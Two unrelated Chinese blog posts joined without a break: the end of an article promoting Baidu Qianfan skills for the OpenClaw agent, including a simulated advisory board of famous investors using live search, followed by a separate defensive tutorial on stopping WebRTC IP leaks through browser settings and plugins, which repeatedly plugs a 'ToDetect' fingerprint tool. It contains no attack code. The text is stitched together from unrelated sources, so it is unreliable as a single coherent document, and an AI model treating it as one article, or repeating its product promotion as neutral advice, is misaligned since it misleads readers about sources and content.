百度千帆还有一个深度研究 Agentdeepresearch-conversation),专门做这种多轮拆解的研究场景。接上学术检索和百度百科之后,体验就更接近"企业研究 / 咨询分析"的工作方式了。

如果你平时要写行业分析报告、做市场调研,或者帮老板准备决策材料,

比如刚才的报告,我让它给我补充了一些内容。

Deep Research Agent 基于 284 次深度搜索后...

这个组合真的建议试试。

玩法三:私董会 × 百度生态:让幕僚带着真数据给你出主意

用到的 Skills:私董会 Skill + 百度搜索 + 百度百科

这个非常有意思,skill搭配组合技。

关注我的老朋友应该知道,之前我做过一个AI 私董会的 Skill,

就是模拟巴菲特、比尔·盖茨、马斯克、乔布斯四位大佬当你的幕僚,通过多轮提问和反馈,帮你深入分析问题、给出可执行的建议。

这个 Skill 之前在社区里反响很不错,很多朋友拿它来做创业决策、职业规划、项目复盘。

但它一直有两个让我觉得不够完美的地方:

第一,幕僚的"人设"全靠模型自己编。

比如巴菲特这个角色,模型知道他是投资大师,但它掌握的信息可能是训练数据里的老内容。关于他最新的持仓变动、最近的股东信里说了什么、今年的投资逻辑有什么变化,模型是不知道的。

第二,幕僚们给建议的时候,全凭"脑补"。

聊投资策略的时候,巴菲特会引用一些经典理论和案例,但这些都是模型"记忆"里的东西。你问一个特别新、特别细的市场问题,他可能就只能泛泛而谈了。

现在有了百度搜索和百度百科的 Skill 之后,这两个问题同时被解决了

幕僚们不仅能"上网查资料",连自己的背景信息都能实时更新。

什么意思呢?直接看流程图:

这些真实信息直接注入到幕僚的人设里,他们的提问和建议就不再是"通用模板",而是带着当下真实语境的。

然后在实际咨询环节,幕僚还能随时调用搜索去查数据来支撑自己的观点。

我试了一下,把私董会 Skill 和百度搜索、百度百科接到同一个 OpenClaw 里。然后抛了一个问题:“我想做一个面向中小企业的 AI 培训课程,但不确定市场定位和定价策略。”

效果还不错:

  • 巴菲特在分析定价的时候,直接调了百度搜索去查了当前市场上同类课程的价格区间,然后基于真实数据给了定价建议

  • 比尔·盖茨聊行业趋势的时候,从百度百科拉了最新的企业培训市场规模数据

  • 马斯克聊差异化竞争的时候,搜了几个海内外的竞品案例来佐证他的观点

一句话总结:以前的私董会是"凭经验聊",现在是"带着数据聊"。

四位幕僚的建议变得更具体、更有针对性。


聊聊生态

前两天刚从百度智能云的 Agent 大会回来,

事情是这样的,百度的朋友邀请去参加这次大会,

我去了之后发现,还有@袋鼠帝@梦飞@宇明,大型好友面基现场,

还给整了个百度千帆开发者大使的身份..

当然,身份不重要,重要的是我在现场发现了一些好玩的东西(如上)。

前面三个Case其实也展示了一个更大的可能性——

不同 Skills 之间的融合,才是 OpenClaw 真正的威力所在。

单个 Skill 是工具,多个 Skill 组合起来就是一套完整的工作流。

而百度千帆 MCP 广场提供了大量现成的"积木块",你只需要想清楚怎么搭就行。

毕竟百度做搜索做了二十多年了,AI 搜索这块的积累确实是最厚的。

而针对 Agent 的使用方式做了适配。比如学术检索 Skill 返回的结构就很适合 Agent 做后续处理。

从选镜像到配模型到进 Web 端用,整个过程对小白太友好了。特别是部署阶段直接选 Skill 这个设计,把"跑起来"和"能干活"合成了一步,省了很多折腾。

当然,每个云平台都有自己的优势,大家根据自己的需求选就行。

不管云平台怎么选,我觉得这几个skills,都可以给你的🦞助手配置上,非常丝滑。

结语

关于OpenClaw,其实已经写了好几篇的内容了,

今天给大家分享的百度智能云的生态,其实也给OpenClaw提供了工具,

折腾这么多,其实就是为了让更多人能用上 OpenClaw,让它能真的解决你生活中的一些场景。

千帆这些 Skill 生态的组合玩法,才是我觉得真正有想象空间的地方。

后续等我把更多 Skill 组合跑通了,再给大家出详细的教程和玩法拆解。

马上春节了,

这周的精彩其实才刚刚开始,

国内 AI 在这周会发力的~ 期待一波!

以上。


我是甲木,热衷于分享一些AI干货内容,同时也会分享AI在各行业的落地应用,我们下期再见👋🏻

本文由mdnice多平台发布

在互联网安全越来越受到关注的今天,WebRTC 泄露已经成为很多人忽略但又非常危险的隐私问题。

即便你使用了 IP工具 或代理服务器,如果浏览器的 WebRTC 功能不加以控制,你的真实 IP 仍可能被网站探测到。这就意味着所谓的“匿名浏览”可能形同虚设。本文将手把手教你如何防止 WebRTC 泄露。

什么是 WebRTC 泄露?

首先我们得了解,WebRTC(Web Real-Time Communication) 是一种允许浏览器直接进行音视频通话和数据传输的技术。它本身非常方便,但也有隐私隐患:

当你打开支持 WebRTC 的浏览器访问网页时,某些 JavaScript 脚本可以绕过 IP工具 或代理,直接获取你的本地和公网 IP。

这就叫做 WebRTC 泄露,也有人称之为 “IP 泄露”。

泄露的 IP 可以让广告商、网站甚至黑客追踪你的真实位置。

所以,想要安全上网,控制 WebRTC 泄露非常重要。

如何检测自己的 IP 是否被泄露?

在采取防护措施之前,最好先确认自己的 IP 是否真的存在泄露风险。常用方法有:

IP泄露检测网站
打开一些知名的 IP 泄露检测网站,可以快速判断你是否通过 IP工具 暴露了真实 IP。例如,你可以访问一些综合测试页面,看看显示的 IP 是否是你 IP工具 的 IP,还是你真实的公网 IP。

WebRTC 泄露检测工具
有专门的 WebRTC 泄露检测工具网站,可以模拟 WebRTC 请求,判断浏览器是否会暴露本地 IP。

浏览器指纹检测
值得一提的是,浏览器指纹检测 也可能揭示你的一些信息,包括浏览器版本、操作系统、屏幕分辨率等。如果配合 IP 泄露,你的匿名性就更低了。推荐使用 ToDetect指纹查询工具 来检测浏览器指纹安全情况。

通过以上方法,你可以明确自己的隐私风险点,然后针对性防护。

禁止 WebRTC 泄露的实用方法

接下来,重点来了——如何在日常使用中阻止 WebRTC 泄露。这里分浏览器和插件两类方法:

  1. 浏览器内置设置

不同浏览器对 WebRTC 的控制方式不同:

Firefox
打开 about:config,搜索 media.peerconnection.enabled,将其值改为 false。这样就可以彻底禁止 WebRTC 连接。

Chrome/Edge
默认 Chrome 没有直接开关,需要借助扩展程序来控制 WebRTC。可以通过 chrome://flags/ 查看实验性功能,但最稳妥的方法还是用插件。

Safari
在 Safari 的设置里,找到“WebRTC 功能”,勾选“阻止所有 WebRTC 公网 IP 地址”,即可防止 IP 泄露。

  1. 使用浏览器插件

对于 Chrome、Edge、Firefox 等主流浏览器,使用插件是最方便的方式:

WebRTC Leak Prevent
可以直接阻止 WebRTC 访问本地和公网 IP,同时提供 IP工具 兼容模式。

uBlock Origin
虽然主要用于广告拦截,但高级设置里可以控制 WebRTC 请求。

ScriptSafe / NoScript
可以通过屏蔽不信任的 JavaScript,间接防止 WebRTC 泄露。

这些插件在安装后几乎可以做到“开箱即用”,降低被追踪的风险。

其他提升隐私安全的技巧

除了禁止 WebRTC 泄露,还有一些小技巧可以提升浏览器的隐私保护能力:

定期检测 IP 泄露
每隔一段时间使用 IP泄露检测 或 WebRTC 泄露检测 工具,确保 IP工具 没有被绕过。

使用隐身模式或专门的隐私浏览器
像 Tor Browser 或 Brave,都有更强的防止 浏览器指纹检测 和 IP 泄露的功能。

关注浏览器更新和安全补丁
有些漏洞会被利用来绕过 WebRTC 限制,保持浏览器最新是最基本的防护。

结合 ToDetect 指纹查询工具
通过 ToDetect指纹查询工具,你可以看到自己浏览器的指纹信息是否容易被追踪,进一步优化隐私设置。

总结

WebRTC 泄露 可能看起来小问题,但一旦被追踪,你的匿名性和隐私都会受到影响。实用的方法就是:

定期做 IP泄露检测 和 WebRTC 泄露检测。

根据浏览器类型,关闭或限制 WebRTC 功能。

使用可靠的隐私插件,比如 WebRTC Leak Prevent。

检测浏览器指纹,利用 ToDetect指纹查询工具 做进一步优化。

只要按照这些步骤操作,你就能大幅降低 IP泄露 风险,保护自己在网络世界的隐私安全。